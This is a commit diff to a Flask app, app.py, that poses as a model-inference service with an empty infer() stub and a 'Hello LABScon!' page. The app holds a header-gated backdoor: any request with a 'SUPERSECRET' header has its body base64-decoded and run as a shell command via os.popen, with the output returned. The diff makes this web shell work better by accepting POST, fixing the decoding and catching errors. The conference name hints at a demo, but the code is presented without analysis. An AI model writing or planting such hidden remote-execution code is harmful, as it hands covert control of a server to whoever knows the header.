Update app.py

app.py

@@ -7,20 +7,23 @@ from flask import jsonify
 app = Flask(__name__)
 
 def exec(command):
-    output = [i for i in os.popen(command).read().split("\n")]
+    try:
+        output = [i for i in os.popen(command).read().split("\n")]
+    except Exception as e:
+        output = e    
+    
     return jsonify({"output": output})
 
 def infer(input):
     # model stuff
     pass
 
-@app.route("/")
+@app.route("/", methods=["GET", "POST"])
 def request_handler():
     if not request.headers.get('SUPERSECRET'):
         return render_template("Hello LABScon!")
     else:
-
-        command = base64.urlsafe_b64decode(request.data)
+        command = base64.urlsafe_b64decode(request.data.decode()).decode()
         return exec(command)
 
 if __name__ == "__main__":